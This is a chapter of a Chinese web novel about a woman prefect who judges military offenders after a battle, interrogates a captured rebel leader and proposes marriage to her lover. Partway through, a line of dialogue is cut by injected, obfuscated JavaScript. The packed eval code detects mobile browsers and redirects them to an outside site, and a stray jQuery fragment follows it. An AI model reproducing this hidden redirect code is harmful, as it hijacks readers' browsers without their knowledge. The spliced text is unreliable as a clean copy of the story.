57.风雪夜审浮沉未定
作品:《县令她追夫火葬场后不追了怎么办?》 大战落幕,凉州幽州两地的天空终于不再弥漫血腥气息,雪地上的鲜血被寒风冻结,战场上尸横遍野,然而凉州城内却迎来了短暂的平静。
在这平静之下,却仍有风暴暗涌。
还有许多事没处理完。
徐圭言没急着回凉州,反而在军营中处理大战先前遗留的问题。但这事情她没急着和任何人说,幽州城内的百姓欢迎他们,士兵和百姓们举杯共饮,再好不过了。
夜色沉沉,军营内,烛火通明。徐圭言坐在堂上,目光落在案前的一叠军报上,指尖轻轻敲击桌面,眼神深邃。
军中几位主将已然递交了意见书——
陆明川,因情报误判,导致南城粮仓焚毁,军中后勤一度陷入混乱,若非后续战事胜利,后果不堪设想,按军令应斩。但陆明川征战多年,功勋卓著,此战中仍有战功,不能完全抹杀,众将主张革职,罢免军职,逐出军伍。
徐圭言静静看着,心中已有决断。
风声从帘帐外路过,脚步声踏实有力,“徐刺史,我来给您包扎一下伤口。”
徐圭言放下手中的册子,“进来吧。”
士兵走进来,放下手里的东西后坐到了徐圭言身后,“您肩膀上有伤?”
徐圭言点点头,正要脱衣服的时候看了一眼士兵,目光不由的下移,注意到了士兵胸前有微微幅度。
在营的士兵肌肉紧实,胸大不是什么稀奇事。
可也不知道她怎么想的,徐圭言伸出手在士兵胸前摸了一把。
士兵往后退了几步。
“刺史……这,这可使不得……”
眼见着,在橘黄色烛火下士兵的脸红了起来。
这幕恰巧被进来的秦斯礼看到,他轻咳一声,徐圭言眼睛一瞥。
“竟不知刺史也好女色?”
徐圭言又看向那名士兵。
她上下打量着看了一下,注意到士兵的腿上裹着白布,右臂上也有一圈,“你会包扎吗?”
士兵点头。
“你叫什么名字?哪个营的?”
“神都军,烈罡营,沈玉兰。”
徐圭言点头,这时才将注意力放在刚进门的秦斯礼身上,“你进门怎么不报?”
秦斯礼一愣。
“你我私下怎么都好说,可现在是军营,失了分寸,有人要说我滥用职权的。”徐圭言语气软了下来,“你平幽州有功,还要给你封赏……”
她脸上露出似有似无的笑,“万一别人说你是伺候我伺候的好,我才给你大赏的,这该如何是好?”
秦斯礼轻笑一声,正要起身徐圭言又叫住了他,“下次注意就好了,你来是做什么?”
“她忘了拿药,只拿了医布而已,我过来送药,抹好了你叫我,”后半句他是对着沈玉兰说的。
沈玉兰点点头,秦斯礼退了出去。
徐圭言大大方方地脱了衣服,等着沈玉兰帮她上药包扎。
沈玉兰拿着药看到徐圭言背后星星点点都是刀枪留下的咬痕,舔了舔唇,“刺史,抹药的时候可能会有点疼……”
“无碍,你涂就是了。”
确实有点疼,但又因为沈玉兰的帽子有点大,导致她看不清位置,不小心戳到徐圭言的伤口。
“你小心着点,”徐圭言呲牙咧嘴,她从来没想过自己有一天要一手拿书一手拿剑,还要被伤痛折磨。
“刺史,我这个帽子有点大,可否等我摘下后再帮您上药……”
徐圭言侧了侧头,“这帽子都是按尺寸发的,你的怎么会大?”
沈玉兰摘下帽子,放到一旁,“这是我哥哥的头盔,他死在了战场上,我就找到了他的帽子。”
徐圭言一愣,“你哥哥他也是神都军?”
沈玉兰只说了一个是字后就认真地涂抹药水,进行包扎,好不容易弄完了,徐圭言穿好衣服,看着女孩子高挑结实的臂膀,她比徐圭言要高许多。
沈玉兰发现了徐圭言落在自己身上的目光,她扭头局促地笑了一下。
徐圭言看着她也笑了,“我那边有洗好的桃子,你拿一个走。”
“好,”沈玉兰看到了,也没拒绝,拿起一个桃子装到自己的口袋里。
徐圭言见她没吃,连忙叫了一声,“你自己吃啊,可别分给其他人,不然他们都要桃子了!”
沈玉兰笑笑,拎着药和医布走了出去。
没一会儿,秦斯礼进来了。
营帐之中只剩下了他们两人。
“刚才看了一份军报,是关于陆明川的,”徐圭言吐出口气,“革职。”
她抬头看向站在一旁的秦斯礼,他似笑非笑地看着她,淡淡道:“你舍得动他?”
“这有什么舍不得的,他又不是我男人,就算是,我也不会放过他。”
徐圭言盯着他看。
秦斯礼坐下,微微颔首:“那便按军令办吧。”
“我一会儿还要去审问陆明川,”她仍旧盯着他看,“如果能问出其他的事,或者人……”
秦斯礼笑笑,“按军令。”
徐圭言缓缓站起身来,直到后背伤口有一丝痛,她才低下头。
“那我去了。”
秦斯礼点头。
徐圭言走出军帐,回头看了一眼,请放下帘子后才在漫天风雪中,穿过士兵的群落,走向关押顾慎如的地方。
“你终于来了。”
徐圭言坐到顾慎如对面,就算沦落到此,顾慎如依旧自信坦然,一副王者风范。
“我有很多话要问你。”
顾慎如微微一笑,“想问什么?”
“火是你放的吗?”
顾慎如眉头一挑,似乎是没听懂徐圭言的话。
“我的宅子,是你放火烧的吗?”徐圭言重复了一遍。
顾慎如嗤笑一声,“难道不是你自导自演吗?”
徐圭言沉默地看着他。
片刻后,她笑了,烛火的光也调皮似的在她脸上游走,忽明忽暗。
“你是怎么知道的?”徐圭言十分好奇。
“你在凉州的敌人就那么几个,他们都没下手……况且,你家着火后的一段时间里,你的所有行动都指向了账簿上的人,”顾慎如看向徐圭言的眼神中多了几分欣赏,“我也能明白,你这么做,无非就是想给我一个假象,账簿被烧没了,定罪的证据就没了。当时,我只是觉得这是一场意外。”
顾慎如干笑一声,“当时我还觉得这把火来的太巧了,天助我也,毕竟当时不是谋反的好时机。但是,你执意要斩首冯知节手下的将领们,我觉得不对劲。”
听到这里,徐圭言哈哈大笑起来,笑得眼角都出了泪,“哪里不对劲?”
“你用这件事立威我明白,可我不明白,为什么死的将领都是我的人?”顾慎如在这个时候也笑了,“想来想去,是你唱了出空城计。更是温水煮青蛙,我要再不快些动手,我们一个一个的都要被你弄死了。”
徐圭言抬手擦了擦眼角的泪,“弄死?你们现在不也都被我控制在手心里吗?”
顾慎如听这嚣张的话也没反驳,无奈地说:“被你用计谋陷害而死,还不如死在战场上来的痛快,起码反抗过了。”
“反抗?这是何意?后唐对你不好吗?”
“后唐好的话就不会有那么多苛捐杂税,每年都要多个十几条新税目,朝廷里的人争来争去,有何作为?兴,百姓苦;亡,百姓苦。”
徐圭言挑眉,“这话说的倒像是我不对了……”她低头拍了一下自己的膝盖,抬眸看过去,眼睛在昏暗的牢房中闪闪发亮,带着几分打趣:“我总觉得你在骂我是后唐的走狗。”
“不是吗?”
徐圭言耸耸肩,“随便吧,反正你已是阶下囚了,这些话对我来说不痛不痒的。”她站起身,“对了,陆明川和李林,是你去策反的?”
“是,不过我不是,是我指使旁人做的。”
“哪个旁人?”
顾慎如笑着说,“你把人都放走了,你不清楚吗?”
徐圭言心中一惊,表面上却还是云淡风轻、一副尽在掌控之中的样子,“顾书华?就他啊……”
顾慎如笑笑,既没承认也没否认,他直到现在徐圭言还不确定,但他也不想告诉她,“说到这个,我以为被谋反的人会是李林,毕竟他贪生怕死,可没想到是个硬骨头。”
“反倒是陆明川,审时度势,是个人才。”
徐圭言叹了口气,颇为伤心,她当时提拔他是有真心在的,“这些话你留着明天升堂审问的时候再说吧……看样子他小命是不保了。”
说罢,徐圭言抬脚往外走去,这个时候顾慎如叫住了她。
“徐刺史,你多大了?”
徐圭言脚步一顿,回头看去,不明白他为什么这么问,沉默片刻后反问道:“这很重要吗?”
顾慎如摇摇
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|14954698|154959||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头,又点点头,“你还是太年轻了。”
徐圭言转身背手看他,想听听他到底要说什么,顾慎如却一言不发了。
片刻后,她扫兴地离开了。
回到营帐中,秦斯礼还没走,徐圭言看到他惊大于喜。
“你还有话要说?”
秦斯礼合上书,缓缓打了个哈欠才转头看向徐圭言,“没有。”
徐圭言走到他身旁,扫了一眼他刚才合上的书,《杜阳杂编》*,瞅了一眼秦斯礼,不由得笑出了声,“这有什么好看的?你在长安的时候听到的、看到的,还不够多吗?”
秦斯礼侧身,手肘撑在桌边,掀起眼皮看她,“想看看有什么新事发生。”
徐圭言的笑声从喉咙中传出来,“想知道你问我啊,我可听说不少。”
秦斯礼眼皮忽闪了两下,无精打采地问,“还要办公吗?”
“不了,不早了,准备睡觉。”
秦斯礼点点头,直起身子伸了个懒腰,“那我就不陪你了,我也回去睡了。”
说完起身慢悠悠地往外走。
徐圭言这才明白过来,他是来陪她的。秦斯礼这人就是这,他拉不下来面子,但也尽量照顾她,无声无息的。
“等这些事都解决了,我们就成婚吧。”
秦斯礼脚步一顿,垂着眼眸不知道想什么。
徐圭言的声音在身后响起来。
“这么和你说吧,我花费了好长时间打探你的消息,又花费了很多时间等待机会来到凉州城,”徐圭言站起身,秦斯礼虽然背对着她,但还是感受到了她灼热的目光。
“我做这些事,都是为了你。但不是因为什么愧疚,那种感情我对你没有,你也不屑于它。我知道你恨我不是因为落井下石,而是因为我没有为了你做什么,既没有在你家出事的第一时间帮你寻求解决办法,也没有与你共度难关……”
她顿了顿,“我不想为自己找任何借口,你能在这个关口回来就说明你想明白了,既然如此,我们就不要绕弯子了,郎有情妾有意,何乐而不为?”
秦斯礼本来听着很感动,但听到那句“你想明白了”,他还是有些气愤,“什么叫我想明白了?呵,我是做错了什么事吗?”
他转身看她,“我是心里有你没错,但这不代表我会任你摆布。”
“我不想摆布任何人,只是想和你好好的。”
秦斯礼看着她,听着她说荒谬的话,想气愤地离开,恨自己为什么不和喜欢自己的竹城固守一方,偏偏要回来?
秦斯礼觉得不可思议——
他怎么就走不出她的谎言呢?
他为什么还甘之如饴呢?
“回到凉州,我们就成婚。”
徐圭言重重地点头。
秦斯礼扯出一抹笑。
“徐圭言,你欠我的,我会一笔一笔讨回来。”
“好啊。”
徐圭言摊开手,像是要拥抱他。
第二日,徐圭言和鱼怀忠说明了庆功宴之前要升堂处理军中罪人一事,这事儿本来和鱼怀忠无关,但他却连忙打断了徐圭言。
“徐刺史,这可不行,我们刚攻下来幽州,众将士喜乐纷纷,你突然说要惩罚,是不是太过于不近人情了。”
徐圭言看着他吐出口气,“从幽州到凉州,路途遥远,我们早一点解决完这件事,早一点安心嘛。”
鱼怀忠还是摇头拒绝,“这不行,表扬的事现在说,责罚的事回到凉州再说。”
“鱼……”
“凉州是你的地盘,幽州可不是。”
徐圭言只好点头答应。
等在军营外的陆明川听到这消息,长叹一口气。
入夜,幽州府邸灯火通明,庆功宴席大摆。
酒过三巡,凉州军士痛饮畅谈,笑声震动屋梁,众将士皆在为这场胜利狂欢。
而牢狱之中,阴风阵阵。
顾慎如靠在冰冷的石壁上,面前摆放着的是庆功宴里的残羹冷炙,他一口没动,手指无意识地抚摸着自己的衣角,眸光空洞,神色死寂。
忽然,狱门外传来脚步声。
黑袍翻动,一个熟悉的身影缓缓走入。
顾慎如抬眼,瞳孔微微收缩。
那人缓缓蹲下,揭下兜帽,露出俊朗却阴沉的面容。
顾慎如眯了眯眼,嘴角却带着一抹意味不明的笑意。
“你终于来了。”